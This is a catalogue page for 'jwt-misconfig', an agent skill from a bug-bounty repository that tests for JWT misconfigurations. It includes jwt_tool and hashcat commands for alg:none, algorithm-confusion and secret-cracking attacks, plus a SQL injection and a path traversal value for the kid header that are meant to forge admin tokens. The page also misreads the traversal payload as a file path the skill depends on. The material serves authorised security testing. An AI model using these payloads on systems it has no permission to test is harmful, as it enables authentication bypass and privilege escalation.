jwt-misconfig

jwt-misconfig is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 6 tokens per session (1,453 once invoked), scanned A, original, MIT.

A security testing guide for JWT configuration errors. JWTs are signed tokens used to carry identity and permission claims between clients and servers; the guide covers weak keys, unsafe algorithms, and key-handling mistakes.

In plain words
What is it for?
Reviewing JWT headers, payloads, signing keys, public-key endpoints, and token verification behaviour in web applications and APIs.
Why use it?
It helps find verification settings that let attackers create valid-looking tokens with altered permissions, including administrator claims.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is {"kid": "../../dev/null", "alg":"HS256"}.

Good fit Reviewing JWT headers, payloads, signing keys, public-key endpoints, and token verification behaviour in web applications and APIs.

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Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/jwt-misconfig

Made for: Claude Code, Codex.

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README.md
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Per session 6 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,453 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00006 $0.01453
Opus 5 $0.00003 $0.00727
Sonnet 5 $0.00001 $0.00291
Haiku 4.5 $0.00001 $0.00145

Measured 8d ago against content hash bf7208cd75db, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

jwt-misconfig scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/curated/jwt-misconfig/SKILL.md · 136 lines

How it starts

The opening of the file, as written. The whole thing — 136 lines — stays where its author put it; the contents beside it link to each section on GitHub.

JWT Misconfiguration

What Is Broken and Why

JWTs that accept alg: none, trust the algorithm declared in the token header, or use guessable HMAC secrets allow attackers to forge arbitrary tokens — including admin-level claims — without knowing any signing key. Algorithm confusion attacks exploit servers that accept both RS256 (asymmetric) and HS256 (symmetric): the attacker signs with the public key (which is public) using HS256 and the server verifies it as a valid HMAC.

Key Signals

  • Authorization: Bearer <base64url>.<base64url>.<base64url> in requests
  • JWTs stored in cookies (check httpOnly, Secure, SameSite flags)
  • JWKS endpoint at /.well-known/jwks.json or /oauth/certs (exposes public key)
  • alg field in JWT header — watch for HS256, RS256, none
  • kid (Key ID) field in JWT header — check for path traversal or SQLi
  • Short or dictionary-based HMAC secret (crack with hashcat)

Methodology

  1. Decode the JWT header and payload (base64url decode each part).
  2. Note the alg value; attempt to change it to none and remove signature.
  3. If alg is RS256, fetch the public key from JWKS endpoint; re-sign with HS256 using the public key as the HMAC secret.
  4. If alg is HS256, attempt to crack the secret with hashcat or jwt_tool.
  5. Check kid value — test for path traversal (../../dev/null), SQLi, or SSRF.
  6. Modify exp claim to far-future timestamp; attempt to use expired tokens.
  7. Escalate claims: change role, admin, sub, userId in payload after forging.

Payloads & Tools

# jwt_tool — Swiss army knife for JWT attacks
pip install jwt_tool
jwt_tool TOKEN -X a           # alg:none attack
jwt_tool TOKEN -X s           # algorithm confusion (RS256→HS256)
jwt_tool TOKEN -C -d wordlist.txt  # crack HMAC secret

# hashcat JWT cracking
hashcat -a 0 -m 16500 TOKEN wordlist.txt

# Manual alg:none
# 1. Decode header: {"alg":"RS256","typ":"JWT"}
# 2. Change to:     {"alg":"none","typ":"JWT"}
# 3. Re-encode and append empty signature: header.payload.
# (trailing dot is required)

# kid SQLi
{"kid": "' UNION SELECT 'attacker_secret' --", "alg":"HS256"}
# Sign token with 'attacker_secret'

# kid path traversal (sign with empty string)
{"kid": "../../dev/null", "alg":"HS256"}
# /dev/null reads as empty → sign with empty string ""

Read the full file on GitHub · 136 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 136 lines · 0 tokens per session scan A bf7208cd75db

Subscribe to this mod's changes

jwt-misconfig is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 6 tokens to every session and 1,453 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.